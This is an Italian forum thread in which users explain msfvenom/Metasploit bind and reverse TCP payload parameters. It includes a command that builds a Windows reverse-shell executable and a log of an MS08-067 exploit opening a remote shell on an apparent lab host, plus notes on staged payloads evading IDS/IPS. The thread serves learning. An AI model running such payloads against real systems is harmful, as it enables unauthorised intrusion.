Discussione Risolto bind_tcp con msfvenom

[Shizan]

Ciao,
sto studiando come creare dei payload standalone con msfvenom, da lanciare direttamente sulla macchina vittima nel caso in cui si abbia la possibilità di effettuare il deploy (come ad esempio ottenendo l'accesso ad una console Tomcat sulla macchina remota).

Per quanto riguarda un payload di tipo reverse con una shell (payload/windows/shell/reverse_tcp) è presto detto: i due parametri da settare sono LHOST e LPORT, cioè l'indirizzo e la porta su cui fare il connect-back, cioè connettersi alla macchina dell'attaccante. il comando è il seguente:

msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.10 LPORT=5555 -f exe -o /tmp/reverse_tcp_payload.exe

LPORT e LHOST sono rispettivamente l'indirizzo e la porta della mia macchina attaccante che funge da server.

Il mio dubbio è relativo al payoad di tipo bind (payload/windows/shell_bind_tcp): i parametri da settare sono:

LPORT: The listen port
RHOST: The target address

RHOST è l'ip della macchina vittima (non è necessario specificarlo).

L'incertezza riguarda il parametro LPORT --> solitamente con LPORT si intende la porta della macchina attaccante, ma poichè questo non è un reverse, cioè non ci dobbiamo connettere dalla macchina vittima alla macchina attaccante non ne capisco l'utilità.

Mi verrebbe da pensare quindi che LPORT sia la porta in listening della macchina vittima(RHOST) anche se solitamente questa si indica con RPORT.

Oltre questo vorrei capire, dopo che si è avviata la backdoor bind con il payload, in che modo connettersi alla macchina vittima che è in listening.
è possibile utilizzare direttamente netcat?

 

[Symon_RS]

Ciao,
Per fare il reverse la macchina attaccata tenterà di collegarsi a te. Per questo motivo hai bisogno di rimanere in ascolto su una determinata porta. Con il parametro LPORT quindi scegli la porta sul quale fare il binding del listener.

 

[Shizan]

Ciao,
Per fare il reverse la macchina attaccata tenterà di collegarsi a te. Per questo motivo hai bisogno di rimanere in ascolto su una determinata porta. Con il parametro LPORT quindi scegli la porta sul quale fare il binding del listener.

Si, sul reverse siamo d'accordo.
Il mio dubbio era su un payoad di tipo bind, nel quale caso dovrebbe essere la macchina vittima a mettersi in listerning. Quindi mi aspetterei di trovare una RPORT nei parametri del payload.

 

[Symon_RS]

Non lo guardare come attaccante/vittima o come se dovesse essere usato in combo con qualcosa per fare un reverse. Quello come lo metti lo metti ti setta un listener sulla porta che specifichi tanto quanto può fare un netcat. Lo puoi usare sulla tua macchina per attendere una connessione e quindi fare reverse cosi come sulla macchina vittima e connetterti tu a lui.

 

[0xbro]

Come puoi vedere dalla sequenza sotto, il parametro LPORT serve a specificare su quale porta la macchina compromessa debba aprire la bind shell:

Payload options (windows/shell_bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     443              yes       The listen port
   RHOST     10.11.1.5        no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] 10.11.1.5:445 - Automatically detecting the target...
[*] 10.11.1.5:445 - Fingerprint: Windows XP - Service Pack 0 / 1 - lang:Unknown
[*] 10.11.1.5:445 - Selected Target: Windows XP SP0/SP1 Universal
[*] 10.11.1.5:445 - Attempting to trigger the vulnerability...
[*] Started bind TCP handler against 10.11.1.5:443
[*] Command shell session 1 opened (0.0.0.0:0 -> 10.11.1.5:443) at 2021-02-21 17:57:51 -0500

(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

 

[Shizan]

Come puoi vedere dalla sequenza sotto, il parametro LPORT serve a specificare su quale porta la macchina compromessa debba aprire la bind shell:

Payload options (windows/shell_bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     443              yes       The listen port
   RHOST     10.11.1.5        no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] 10.11.1.5:445 - Automatically detecting the target...
[*] 10.11.1.5:445 - Fingerprint: Windows XP - Service Pack 0 / 1 - lang:Unknown
[*] 10.11.1.5:445 - Selected Target: Windows XP SP0/SP1 Universal
[*] 10.11.1.5:445 - Attempting to trigger the vulnerability...
[*] Started bind TCP handler against 10.11.1.5:443
[*] Command shell session 1 opened (0.0.0.0:0 -> 10.11.1.5:443) at 2021-02-21 17:57:51 -0500

(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

perfetto.. come pensavo. Grazie della chiarificazione. <3

 

[0xbro]

Specifico ancora una cosa, che magari sai già ma altre persone potrebbero non sapere.
Su metasploit ci sono due tipologie differenti di payload: staged e non-staged

I payload non-staged sono tutti quelli che hanno l'underscore (_) tra il nome della shell e la sua tipologia, come per esempio windows/shell_bind_tcp oppure windows/meterpreter_reverse_tcp. Si chiamano appunto non-staged perchè il payload viene inviato come unico pezzo. Per questo motivo sono anche più grossi di dimensioni rispetto agli staged e sono più facilmente detectabili da antivirus & co.

I payload staged invece sono i payload che hanno lo slash (/) tra il nome della shell e la sua tipologia: windows/shell/bind_tcp, windows/meterpreter/reverse_tcp, linux/shell/reverse_http ecc. Questi payload si chiamano staged perchè vengono eseguiti in due fasi: prima l'exploit sfrutta la falla, dopodichè esegue il primo stage del payload che si occupa di scaricare dalla macchina dell'attaccante il secondo stage, che verrà eseguito una volta scaricato del tutto. Questi payload sono più piccoli in dimensioni rispetto ai non staged perchè si occupano solo di effettuare il download del secondo stage, inoltre sono utili per bypassare eventuali blocchi o controlli da parte di eventuali IPS, IDS o firewall